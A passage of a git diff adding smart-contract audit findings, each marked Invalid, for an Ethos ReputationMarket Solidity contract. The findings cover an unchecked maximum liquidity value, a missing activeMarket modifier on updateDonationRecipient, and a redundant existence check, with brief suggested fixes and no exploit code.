100-1000000, but while adding new market config , only min amount is checked and max value is not checked + +### Root Cause + +When lqiuidtiy price will cross that value and set to that value , then problem will occur like precision loss and no price changes as in exp very large value will be there and it will cause no changes in price and very high value will be require. It is not only stable but also price dont change properly due to precision loss. + +like there is overflow problem in low liquidity, in large liquidity, problem of precisin loss will be there + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L371C2-L373C101 + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +check for liquidity cannot exceed max recommended range should be there \ No newline at end of file diff --git a/invalid/150.md b/invalid/150.md new file mode 100644 index 0000000..645a4e7 --- /dev/null +++ b/invalid/150.md @@ -0,0 +1,56 @@ +Shambolic Sage Corgi + +Invalid + +# Absence of activeMarket Modifier in updateDonationRecipient Allows Updates for Inactive Markets + +### Summary + +The `updateDonationRecipient` function lacks the `activeMarket` modifier, which ensures that updates can only occur for active markets. Without this modifier, a user can update the donation recipient for a market that has been marked as inactive (graduated). This oversight can result in unintended or unauthorized changes in inactive markets. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L621-L644 + +### Root Cause + +Assume profileId corresponds to a graduated (inactive) market (e.g., `graduatedMarkets[profileId] == true`). +Call `updateDonationRecipient(profileId, newRecipient)` with valid parameters. +The function executes without errors, allowing the recipient to be updated despite the market being inactive. + + +### Internal Pre-conditions + +graduatedMarkets[profileId] is set to true for the market corresponding to profileId. +The caller is the current donation recipient for the inactive market. +The newRecipient meets the required conditions (no balance and matching profileId). + +### External Pre-conditions + +The smart contract is deployed and operational. +The profileId being targeted corresponds to an inactive market. +The user is aware of the market's inactive status but proceeds to call the function. + +### Attack Path + +_No response_ + +### Impact + +Donations intended for a retired market may be redirected to unauthorized recipients. + +### PoC + +Assume profileId corresponds to a graduated (inactive) market (e.g., graduatedMarkets[profileId] == true). +Call updateDonationRecipient(profileId, newRecipient) with valid parameters. +The function executes without errors, allowing the recipient to be updated despite the market being inactive. + +### Mitigation + +Add activeMarket Modifier: +Update the updateDonationRecipient function to include the activeMarket modifier: + + function updateDonationRecipient( + uint256 profileId, + address newRecipient + ) public whenNotPaused nonReentrant activeMarket(profileId) { + // Function body + } \ No newline at end of file diff --git a/invalid/151.md b/invalid/151.md new file mode 100644 index 0000000..2045b40 --- /dev/null +++ b/invalid/151.md @@ -0,0 +1,51 @@ +Hot Charcoal Orangutan + +Invalid + +# MEDIUM Redundant Market Existence Check in _emitMarketUpdate Function + +### Summary + +The `_emitMarketUpdate` function includes a call to _checkMarketExists(profileId), but this check is unnecessary. Since `_emitMarketUpdate` is a private function, it can only be called by other functions within the contract. The functions that invoke `_emitMarketUpdate` already implement the check for the existence of the market (marketExists). Therefore, calling _checkMarketExists again within `_emitMarketUpdate` results in redundant code and additional gas costs. Removing this unnecessary check will simplify the code, reduce gas usage, and improve contract efficiency without affecting functionality. + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L911 + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- **Increased Gas Costs:** +The redundant call to _checkMarketExists(profileId) adds unnecessary gas consumption. Since the market existence is already validated by the functions calling _emitMarketUpdate, repeating the check wastes resources. + +- **Reduced Code Efficiency:** +The extra validation increases the complexity of the contract without providing any additional functionality. This makes the code harder to maintain and understand, as it introduces unnecessary checks. + + +### PoC + +_No response_ + +### Mitigation + +```diff +function _emitMarketUpdate(uint256 profileId) private { +- _checkMarketExists(profileId); + . + . + . + +``` \ No newline at end of file